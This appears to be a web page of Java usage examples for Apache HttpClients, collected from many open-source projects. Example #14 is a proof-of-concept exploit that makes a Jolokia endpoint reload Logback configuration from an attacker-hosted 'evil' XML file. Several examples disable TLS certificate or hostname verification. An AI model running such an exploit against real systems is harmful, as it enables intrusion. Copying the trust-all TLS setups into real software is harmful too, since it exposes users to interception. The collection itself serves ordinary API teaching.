org.apache.http.impl.client.HttpClients Java Examples

The following examples show how to use org.apache.http.impl.client.HttpClients. You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example #1
Source File: DefaultRestTemplate.java    From x7 with Apache License 2.0 6 votes vote down vote up
@Override
public String get(Class clz, String url, List<KV> headerList) {

    CloseableHttpClient httpclient = null;
    if (requestInterceptor != null && responseInterceptor != null) {
        httpclient = httpClient(requestInterceptor, responseInterceptor);
    } else {
        httpclient = HttpClients.createDefault();
    }
    List<KV> tempHeaderList = new ArrayList<>();
    for (HeaderInterceptor headerInterceptor : headerInterceptorList){
        KV kv = headerInterceptor.apply(this);
        tempHeaderList.add(kv);
    }

    if (headerList!=null && !tempHeaderList.isEmpty()) {
        tempHeaderList.addAll(headerList);
    }
    return HttpClientUtil.get(clz,url, tempHeaderList,properties.getConnectTimeout(),properties.getSocketTimeout(),httpclient);
}
 
Example #2
Source File: GremlinServerHttpIntegrateTest.java    From tinkerpop with Apache License 2.0 6 votes vote down vote up
@Test
public void should200OnPOSTWithAnyAcceptHeaderDefaultResultToJson() throws Exception {
    final CloseableHttpClient httpclient = HttpClients.createDefault();
    final HttpPost httppost = new HttpPost(TestClientFactory.createURLString());
    httppost.addHeader("Content-Type", "application/json");
    httppost.addHeader("Accept", "*/*");
    httppost.setEntity(new StringEntity("{\"gremlin\":\"1-1\"}", Consts.UTF_8));

    try (final CloseableHttpResponse response = httpclient.execute(httppost)) {
        assertEquals(200, response.getStatusLine().getStatusCode());
        assertEquals("application/json", response.getEntity().getContentType().getValue());
        final String json = EntityUtils.toString(response.getEntity());
        final JsonNode node = mapper.readTree(json);
        assertEquals(0, node.get("result").get("data").get(GraphSONTokens.VALUEPROP).get(0).get(GraphSONTokens.VALUEPROP).asInt());
    }
}
 
Example #3
Source File: DropWizardWebsocketsTest.java    From dropwizard-websockets with MIT License 6 votes vote down vote up
@Before
    public void setUp() throws Exception {

        this.client = HttpClients.custom()
                .setServiceUnavailableRetryStrategy(new DefaultServiceUnavailableRetryStrategy(3, 2000))
                .setDefaultRequestConfig(RequestConfig.custom()
                        .setSocketTimeout(10000)
                        .setConnectTimeout(10000)
                        .setConnectionRequestTimeout(10000)
                        .build()).build();
        this.om = new ObjectMapper();
        this.wsClient = ClientManager.createClient();
        wsClient.getProperties().put(ClientProperties.HANDSHAKE_TIMEOUT, 10000);        
            if (System.getProperty(TRAVIS_ENV) != null) {
                System.out.println("waiting for Travis machine");
                waitUrlAvailable(String.format("http://%s:%d/api?name=foo", LOCALHOST, PORT));
//                Thread.sleep(1); // Ugly sleep to debug travis            
            }
    }
 
Example #4
Source File: RPCLogReplayer.java    From passopolis-server with GNU General Public License v3.0 6 votes vote down vote up
@Override
public void run() { 
  try (CloseableHttpClient client = HttpClients.createDefault()) {

    System.out.println("sending request to " + url);
    HttpPost post = new HttpPost(url);
    StringEntity entity = new StringEntity(GSON.toJson(request), "UTF-8");
    post.setEntity(entity);
    try (CloseableHttpResponse response = client.execute(post)) {
      System.out.println("done: " + response.getStatusLine());
      
    }
  } catch (IOException e) {
    // TODO Auto-generated catch block
    e.printStackTrace();
  }
}
 
Example #5
Source File: ExternalItemRecommendationAlgorithm.java    From seldon-server with Apache License 2.0 6 votes vote down vote up
@Autowired
public ExternalItemRecommendationAlgorithm(ItemService itemService){
    cm = new PoolingHttpClientConnectionManager();
    cm.setMaxTotal(100);
    cm.setDefaultMaxPerRoute(20);
    
    RequestConfig requestConfig = RequestConfig.custom()
            .setConnectionRequestTimeout(DEFAULT_REQ_TIMEOUT)
            .setConnectTimeout(DEFAULT_CON_TIMEOUT)
            .setSocketTimeout(DEFAULT_SOCKET_TIMEOUT).build();
    
    httpClient = HttpClients.custom()
            .setConnectionManager(cm)
            .setDefaultRequestConfig(requestConfig)
            .build();
    
    this.itemService = itemService;
}
 
Example #6
Source File: CustomHttpClient.java    From zerocode with Apache License 2.0 6 votes vote down vote up
/**
 * This method has been overridden here simply to show how a custom/project-specific http client
 * can be plugged into the framework.
 *
 * e.g. You can create your own project specific http client needed for http/https/tls connections or
 * a Corporate proxy based Http client here.
 * Sometimes you may need a simple default http client
 * e.g. HttpClients.createDefault() provided by Apache lib.
 *
 * Note:
 * If you do not override this method, the framework anyways creates a http client suitable for both http/https.
 */
@Override
public CloseableHttpClient createHttpClient() throws NoSuchAlgorithmException, KeyManagementException, KeyStoreException {
    LOGGER.info("###Used SSL Enabled Http Client for http/https/TLS connections");

    SSLContext sslContext = new SSLContextBuilder()
            .loadTrustMaterial(null, (certificate, authType) -> true).build();

    CookieStore cookieStore = new BasicCookieStore();

    return HttpClients.custom()
            .setSSLContext(sslContext)
            .setSSLHostnameVerifier(new NoopHostnameVerifier())
            .setDefaultCookieStore(cookieStore)
            .build();
}
 
Example #7
Source File: CustomHttpClient.java    From zerocode-hello-world with MIT License 6 votes vote down vote up
/**
 * This method has been overridden here simply to show how a custom/project-specific http client
 * can be plugged into the framework.
 *
 * e.g. You can create your own project specific http client needed for http/https/tls connections or
 * a Corporate proxy based Http client here.
 * Sometimes you may need a simple default http client
 * e.g. HttpClients.createDefault() provided by Apache lib.
 *
 * Note:
 * If you do not override this method, the framework anyways creates a http client suitable for both http/https.
 */
@Override
public CloseableHttpClient createHttpClient() throws NoSuchAlgorithmException, KeyManagementException, KeyStoreException {
    LOGGER.info("###Used SSL Enabled Http Client for http/https/TLS connections");

    SSLContext sslContext = new SSLContextBuilder()
            .loadTrustMaterial(null, (certificate, authType) -> true).build();

    CookieStore cookieStore = new BasicCookieStore();

    return HttpClients.custom()
            .setSSLContext(sslContext)
            .setSSLHostnameVerifier(new NoopHostnameVerifier())
            .setDefaultCookieStore(cookieStore)
            .build();
}
 
Example #8
Source File: WebAppContainerTest.java    From armeria with Apache License 2.0 6 votes vote down vote up
@Test
public void echoPost() throws Exception {
    try (CloseableHttpClient hc = HttpClients.createMinimal()) {
        final HttpPost post = new HttpPost(server().httpUri() + "/jsp/echo_post.jsp");
        post.setEntity(new StringEntity("test"));

        try (CloseableHttpResponse res = hc.execute(post)) {
            assertThat(res.getStatusLine().toString()).isEqualTo("HTTP/1.1 200 OK");
            assertThat(res.getFirstHeader(HttpHeaderNames.CONTENT_TYPE.toString()).getValue())
                    .startsWith("text/html");
            final String actualContent = CR_OR_LF.matcher(EntityUtils.toString(res.getEntity()))
                                                 .replaceAll("");
            assertThat(actualContent).isEqualTo(
                    "<html><body>" +
                    "<p>Check request body</p>" +
                    "<p>test</p>" +
                    "</body></html>");
        }
    }
}
 
Example #9
Source File: HttpClientAdapter.java    From crnk-framework with Apache License 2.0 6 votes vote down vote up
private HttpClientBuilder createBuilder() {
    // brave enforces this, hopefully can be removed again eventually

    HttpClientBuilder builder = null;
    for (HttpClientAdapterListener listener : nativeListeners) {
        if (listener instanceof HttpClientBuilderFactory) {
            PreconditionUtil
                    .assertNull("only one module can contribute a HttpClientBuilder with HttpClientBuilderFactory", builder);
            builder = ((HttpClientBuilderFactory) listener).createBuilder();
        }
    }

    if (builder != null) {
        return builder;
    } else {
        return HttpClients.custom();
    }

}
 
Example #10
Source File: SlackNotificationImpl.java    From tcSlackBuildNotifier with MIT License 6 votes vote down vote up
public void setProxy(String proxyHost, Integer proxyPort, Credentials credentials) {
      this.proxyHost = proxyHost;
      this.proxyPort = proxyPort;
      
if (this.proxyHost.length() > 0 && !this.proxyPort.equals(0)) {
          HttpClientBuilder clientBuilder = HttpClients.custom()
              .useSystemProperties()
              .setProxy(new HttpHost(proxyHost, proxyPort, "http"));
              
          if (credentials != null) {
              CredentialsProvider credsProvider = new BasicCredentialsProvider();
              credsProvider.setCredentials(new AuthScope(proxyHost, proxyPort), credentials);
              clientBuilder.setDefaultCredentialsProvider(credsProvider);
              Loggers.SERVER.debug("SlackNotification ::using proxy credentials " + credentials.getUserPrincipal().getName());
          }
          
          this.client = clientBuilder.build();
}
  }
 
Example #11
Source File: AnnotatedServiceTest.java    From armeria with Apache License 2.0 6 votes vote down vote up
@Test
void testClassScopeMediaTypeAnnotations() throws Exception {
    try (CloseableHttpClient hc = HttpClients.createMinimal()) {
        final String uri = "/9/same/path";

        // "application/xml" is matched because "Accept: */*" is specified and
        // the order of @ProduceTypes is {"application/xml", "application/json"}.
        testBodyAndContentType(hc, get(uri, "*/*"),
                               "GET", "application/xml");
        testBodyAndContentType(hc, post(uri, "application/xml", "*/*"),
                               "POST", "application/xml");

        // "application/json" is matched because "Accept: application/json" is specified.
        testBodyAndContentType(hc, get(uri, "application/json"),
                               "GET", "application/json");
        testBodyAndContentType(hc, post(uri, "application/json", "application/json"),
                               "POST", "application/json");

        testStatusCode(hc, get(uri, "text/plain"), 406);
        testStatusCode(hc, post(uri, "text/plain", "*/*"), 415);
    }
}
 
Example #12
Source File: HttpsAdminServerTest.java    From blynk-server with GNU General Public License v3.0 6 votes vote down vote up
@Test
public void testGetUserFromAdminPageNoAccessWithFakeCookie2() throws Exception {
    login(admin.email, admin.pass);

    SSLContext sslcontext = TestUtil.initUnsecuredSSLContext();
    // Allow TLSv1 protocol only
    SSLConnectionSocketFactory sslsf = new SSLConnectionSocketFactory(sslcontext, new MyHostVerifier());
    CloseableHttpClient httpclient2 = HttpClients.custom()
            .setSSLSocketFactory(sslsf)
            .setDefaultRequestConfig(RequestConfig.custom().setCookieSpec(CookieSpecs.STANDARD).build())
            .build();


    String testUser = "[email protected]";
    String appName = "Blynk";
    HttpGet request = new HttpGet(httpsAdminServerUrl + "/users/" + testUser + "-" + appName);
    request.setHeader("Cookie", "session=123");

    try (CloseableHttpResponse response = httpclient2.execute(request)) {
        assertEquals(404, response.getStatusLine().getStatusCode());
    }
}
 
Example #13
Source File: ImageDownloadUtil.java    From OneBlog with GNU General Public License v3.0 6 votes vote down vote up
private static InputStream getInputStreamByUrl(String url, String referer) {
    HttpGet httpGet = new HttpGet(checkUrl(url));
    httpGet.setHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36");
    if (StringUtils.isNotEmpty(referer)) {
        httpGet.setHeader("referer", referer);
    }
    CloseableHttpClient httpclient = HttpClients.createDefault();
    CloseableHttpResponse response = null;
    InputStream in = null;
    try {
        response = httpclient.execute(httpGet);
        in = response.getEntity().getContent();
        if (response.getStatusLine().getStatusCode() == 200) {
            return in;
        } else {
            log.error("Error. %s", parseInputStream(in));
            return null;
        }
    } catch (IOException e) {
        log.error(e.getMessage(), e);
    }
    return in;
}
 
Example #14
Source File: JolokiaAttackForLogback.java    From learnjavabug with MIT License 6 votes vote down vote up
public static void main(String[] args) {
  String target = "http://localhost:8080";
  String evilXML = "http:!/!/127.0.0.1:80!/logback-evil.xml";
  HttpGet httpGet = new HttpGet(target + "/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/" + evilXML);
  try {
    HttpClientBuilder httpClientBuilder = HttpClients
        .custom()
        .disableRedirectHandling()
        .disableCookieManagement()
        ;

    CloseableHttpClient httpClient = null;
    CloseableHttpResponse response = null;
    try {
      httpClient = httpClientBuilder.build();
      response = httpClient.execute(httpGet);
    } finally {
      response.close();
      httpClient.close();
    }
  } catch (Exception e) {
    e.printStackTrace();
  }

}
 
Example #15
Source File: InfluxDBUtil.java    From jumbune with GNU Lesser General Public License v3.0 6 votes vote down vote up
/**
 * Create database in influxdb according to configuration provided
 * 
 * @param configuration
 * @throws Exception
 */
public static void createDatabase(InfluxDBConf configuration) throws Exception {
	if (configuration == null) {
		return;
	}
	StringBuffer url = new StringBuffer();
	url.append(HTTP).append(configuration.getHost().trim()).append(COLON)
			.append(configuration.getPort()).append(SLASH_QUERY);
	CloseableHttpClient httpClient = HttpClients.createDefault();
	HttpPost httpPost = new HttpPost(url.toString());
	httpPost.setEntity(new StringEntity(CREATE_DATABASE + configuration.getDatabase() + "\"",
			ContentType.APPLICATION_FORM_URLENCODED));
	httpClient.execute(httpPost);
	httpClient.close();
	createRetentionPolicy(configuration);
	updateRetentionPolicy(configuration);
}
 
Example #16
Source File: GerritRestClient.java    From gerrit-rest-java-client with Apache License 2.0 5 votes vote down vote up
private HttpClientBuilder getHttpClient(HttpContext httpContext) {
    HttpClientBuilder client = HttpClients.custom();

    client.useSystemProperties(); // see also: com.intellij.util.net.ssl.CertificateManager

    // we need to get redirected result after login (which is done with POST) for extracting xGerritAuth
    client.setRedirectStrategy(new LaxRedirectStrategy());

    httpContext.setAttribute(HttpClientContext.COOKIE_STORE, cookieStore);

    RequestConfig.Builder requestConfig = RequestConfig.custom()
            .setConnectTimeout(CONNECTION_TIMEOUT_MS) // how long it takes to connect to remote host
            .setSocketTimeout(CONNECTION_TIMEOUT_MS) // how long it takes to retrieve data from remote host
            .setConnectionRequestTimeout(CONNECTION_TIMEOUT_MS);
    client.setDefaultRequestConfig(requestConfig.build());

    CredentialsProvider credentialsProvider = getCredentialsProvider();
    client.setDefaultCredentialsProvider(credentialsProvider);

    if (authData.isLoginAndPasswordAvailable()) {
        credentialsProvider.setCredentials(AuthScope.ANY,
                new UsernamePasswordCredentials(authData.getLogin(), authData.getPassword()));

        BasicScheme basicAuth = new BasicScheme();
        httpContext.setAttribute(PREEMPTIVE_AUTH, basicAuth);
        client.addInterceptorFirst(new PreemptiveAuthHttpRequestInterceptor(authData));
    }

    client.addInterceptorLast(new UserAgentHttpRequestInterceptor());

    for (HttpClientBuilderExtension httpClientBuilderExtension : httpClientBuilderExtensions) {
        client = httpClientBuilderExtension.extend(client, authData);
        credentialsProvider = httpClientBuilderExtension.extendCredentialProvider(client, credentialsProvider, authData);
    }

    return client;
}
 
Example #17
Source File: HttpClientUtil.java    From disconf with Apache License 2.0 5 votes vote down vote up
/**
 * 初始化httpclient对象
 */
private static void buildHttpClient() {

    RequestConfig globalConfig =
            RequestConfig.custom().setConnectTimeout(5000)
                    .setSocketTimeout(5000).build();
    CloseableHttpClient httpclient =
            HttpClients.custom().setKeepAliveStrategy(new HttpClientKeepAliveStrategy())
                    .setDefaultRequestConfig(globalConfig).build();
    HttpClientUtil.httpclient = httpclient;
}
 
Example #18
Source File: HttpUtils.java    From cms with Apache License 2.0 5 votes vote down vote up
public static CloseableHttpClient getHttpClient(HttpProtocol protocol) {
    HttpClientBuilder builder = HttpClients.custom().setConnectionManager(connMgr)
            .setDefaultRequestConfig(requestConfig);
    if (HttpProtocol.HTTPS.equals(protocol)) {
        builder.setSSLSocketFactory(createSSLSocketFactory());

    }
    return builder.build();
}
 
Example #19
Source File: RemoteRepositoryProvider.java    From rdf4j with BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
@Override
public Endpoint loadEndpoint(RemoteRepositoryRepositoryInformation repoInfo)
		throws FedXException {

	String repositoryServer = repoInfo.get("repositoryServer");
	String repositoryName = repoInfo.get("repositoryName");

	if (repositoryServer == null || repositoryName == null) {
		throw new FedXException("Invalid configuration, repositoryServer and repositoryName are required for "
				+ repoInfo.getName());
	}

	try {
		HTTPRepository repo = new HTTPRepository(repositoryServer, repositoryName);
		HttpClientBuilder httpClientBuilder = HttpClients.custom()
				.useSystemProperties()
				.setMaxConnTotal(20)
				.setMaxConnPerRoute(20);
		((SharedHttpClientSessionManager) repo.getHttpClientSessionManager())
				.setHttpClientBuilder(httpClientBuilder);
		try {
			repo.init();
		} finally {
			repo.shutDown();
		}

		String location = repositoryServer + "/" + repositoryName;
		EndpointClassification epc = EndpointClassification.Remote;

		ManagedRepositoryEndpoint res = new ManagedRepositoryEndpoint(repoInfo, location, epc, repo);
		res.setEndpointConfiguration(repoInfo.getEndpointConfiguration());

		return res;
	} catch (Exception e) {
		throw new FedXException("Repository " + repoInfo.getId() + " could not be initialized: " + e.getMessage(),
				e);
	}
}
 
Example #20
Source File: HttpClient.java    From qonduit with Apache License 2.0 5 votes vote down vote up
public static CloseableHttpClient get(SSLContext ssl, CookieStore cookieStore, boolean hostVerificationEnabled) {
    RequestConfig defaultRequestConfig = RequestConfig.custom().setCookieSpec(CookieSpecs.STANDARD).build();

    HttpClientBuilder builder = HttpClients.custom().setSSLContext(ssl).setDefaultCookieStore(cookieStore)
            .setDefaultRequestConfig(defaultRequestConfig);
    if (hostVerificationEnabled) {
        builder.setSSLHostnameVerifier(new DefaultHostnameVerifier());
    } else {
        builder.setSSLHostnameVerifier(new NoopHostnameVerifier());
    }
    return builder.build();
}
 
Example #21
Source File: ReportStatusServiceHttpImpl.java    From mantis with Apache License 2.0 5 votes vote down vote up
private CloseableHttpClient buildCloseableHttpClient() {
    return HttpClients
            .custom()
            .setRedirectStrategy(new LaxRedirectStrategy())
            .disableAutomaticRetries()
            .setDefaultRequestConfig(
                    RequestConfig
                            .custom()
                            .setConnectTimeout(defaultConnTimeout)
                            .setConnectionRequestTimeout(defaultConnMgrTimeout)
                            .setSocketTimeout(defaultSocketTimeout)
                            .build())
            .build();
}
 
Example #22
Source File: TomcatMetricsTest.java    From micrometer with Apache License 2.0 5 votes vote down vote up
@Test
void mbeansAvailableBeforeBinder() throws Exception {
    HttpServlet servlet = new HttpServlet() {
        @Override
        protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {
            IOUtils.toString(req.getInputStream());
            sleep();
            resp.getOutputStream().write("yes".getBytes());
        }
    };

    runTomcat(servlet, () -> {
        TomcatMetrics.monitor(registry, null);

        checkMbeansInitialState();

        try (CloseableHttpClient httpClient = HttpClients.createDefault()) {
            HttpPost post = new HttpPost("http://localhost:" + this.port + "/");
            post.setEntity(new StringEntity("you there?"));
            CloseableHttpResponse response1 = httpClient.execute(post);

            CloseableHttpResponse response2 = httpClient.execute(
                    new HttpGet("http://localhost:" + this.port + "/nowhere"));

            long expectedSentBytes = response1.getEntity().getContentLength()
                    + response2.getEntity().getContentLength();
            checkMbeansAfterRequests(expectedSentBytes);
        }

        return null;
    });
}
 
Example #23
Source File: LibraClient.java    From jlibra with Apache License 2.0 5 votes vote down vote up
public LibraClient build() {
    if (httpClient == null) {
        this.httpClient = HttpClients.createDefault();
    }
    return new LibraClient(new JsonRpcClient(new LibraJsonRpcTransport(httpClient, url))
            .onDemand(LibraJsonRpcClient.class));
}
 
Example #24
Source File: Faucet.java    From jlibra with Apache License 2.0 5 votes vote down vote up
public Faucet build() {
    if (httpClient == null) {
        this.httpClient = HttpClients.createDefault();
    }
    if (url == null) {
        this.url = DEFAULT_URL;
    }

    return new Faucet(httpClient, url);
}
 
Example #25
Source File: FhirResourceGetPatientEverything.java    From java-docs-samples with Apache License 2.0 5 votes vote down vote up
public static void fhirResourceGetPatientEverything(String resourceName)
    throws IOException, URISyntaxException {
  // String resourceName =
  //    String.format(
  //        FHIR_NAME, "project-id", "region-id", "dataset-id", "store-id", "patient-id");

  // Initialize the client, which will be used to interact with the service.
  CloudHealthcare client = createClient();

  HttpClient httpClient = HttpClients.createDefault();
  String uri = String.format("%sv1/%s/$everything", client.getRootUrl(), resourceName);
  URIBuilder uriBuilder = new URIBuilder(uri).setParameter("access_token", getAccessToken());

  HttpUriRequest request =
      RequestBuilder.get(uriBuilder.build())
          .addHeader("Content-Type", "application/json-patch+json")
          .addHeader("Accept-Charset", "utf-8")
          .addHeader("Accept", "application/fhir+json; charset=utf-8")
          .build();

  // Execute the request and process the results.
  HttpResponse response = httpClient.execute(request);
  HttpEntity responseEntity = response.getEntity();
  if (response.getStatusLine().getStatusCode() != HttpStatus.SC_OK) {
    System.err.print(
        String.format(
            "Exception getting patient everythingresource: %s\n",
            response.getStatusLine().toString()));
    responseEntity.writeTo(System.err);
    throw new RuntimeException();
  }
  System.out.println("Patient compartment results: ");
  responseEntity.writeTo(System.out);
}
 
Example #26
Source File: FeatureExtractor.java    From ltr4l with Apache License 2.0 5 votes vote down vote up
private void download() throws Exception {
  String url = this.url + "?command=download&procId=" + procId + "&wt=json";

  HttpClient httpClient = HttpClients.createDefault();

  HttpGet httpGet = new HttpGet(url);
  httpGet.addHeader("Content-type", "application/json; charset=UTF-8");
  HttpResponse response = httpClient.execute(httpGet);

  InputStreamReader inputStreamReader = new InputStreamReader(response.getEntity().getContent(), StandardCharsets.UTF_8);
  ltrResponseHandler = new LTRResponseHandler(inputStreamReader);
}
 
Example #27
Source File: HttpClientUtil.java    From disconf with Apache License 2.0 5 votes vote down vote up
/**
 * 初始化httpclient对象
 */
private static void buildHttpClient() {

    RequestConfig globalConfig =
            RequestConfig.custom().setConnectTimeout(5000)
                    .setSocketTimeout(5000).build();
    CloseableHttpClient httpclient =
            HttpClients.custom().setKeepAliveStrategy(new HttpClientKeepAliveStrategy())
                    .setDefaultRequestConfig(globalConfig).build();
    HttpClientUtil.httpclient = httpclient;
}
 
Example #28
Source File: GitLabSourceConnector.java    From apicurio-studio with Apache License 2.0 5 votes vote down vote up
/**
 * @see io.apicurio.hub.api.gitlab.IGitLabSourceConnector#getBranches(java.lang.String)
 */
@Override
public Collection<SourceCodeBranch> getBranches(String projectId)
        throws GitLabException, SourceConnectorException {
    logger.debug("Getting the branches for {}", projectId);

    try (CloseableHttpClient httpClient = HttpClients.createDefault()) {
        Endpoint endpoint = pagedEndpoint("/api/v4/projects/:id/repository/branches", 1, DEFAULT_PAGE_SIZE)
                .bind("id", toEncodedId(projectId));
        return getAllBranches(httpClient, endpoint);
    } catch (IOException e) {
        throw new GitLabException("Error getting GitLab branches.", e);
    }
}
 
Example #29
Source File: HttpHelper.java    From newblog with Apache License 2.0 5 votes vote down vote up
/**
 * 描述:创建httpClient连接池,并初始化httpclient
 */
private void initHttpClient() throws ConfigurationException {
    Configuration configuration = new PropertiesConfiguration(CONFIG_FILE);
    //创建httpclient连接池
    PoolingHttpClientConnectionManager httpClientConnectionManager = new PoolingHttpClientConnectionManager();
    httpClientConnectionManager.setMaxTotal(configuration.getInt("http.max.total"));    //设置连接池线程最大数量
    httpClientConnectionManager.setDefaultMaxPerRoute(configuration.getInt("http.max.route"));    //设置单个路由最大的连接线程数量
    //创建http request的配置信息
    RequestConfig requestConfig = RequestConfig.custom()
            .setConnectionRequestTimeout(configuration.getInt("http.request.timeout"))
            .setSocketTimeout(configuration.getInt("http.socket.timeout"))
            .setCookieSpec(CookieSpecs.DEFAULT).build();
    //设置重定向策略
    LaxRedirectStrategy redirectStrategy = new LaxRedirectStrategy() {
        /**
         * false 禁止重定向  true 允许
         */
        @Override
        public boolean isRedirected(HttpRequest request,
                                    HttpResponse response, HttpContext context)
                throws ProtocolException {
            // TODO Auto-generated method stub
            return isRediect ? super.isRedirected(request, response, context) : isRediect;
        }
    };
    //初始化httpclient客户端
    httpClient = HttpClients.custom().setConnectionManager(httpClientConnectionManager)
            .setDefaultRequestConfig(requestConfig)
            //.setUserAgent(NewsConstant.USER_AGENT)
            .setRedirectStrategy(redirectStrategy)
            .build();
}
 
Example #30
Source File: DriverRemote.java    From openprodoc with GNU Affero General Public License v3.0 5 votes vote down vote up
private CloseableHttpClient GetHttpClient()
{
//CloseableHttpClient httpclient = HttpClients.custom()
//                .setConnectionManager(GenPool())
//                .build();    
CloseableHttpClient httpclient = HttpClients.createDefault();
return(httpclient);
}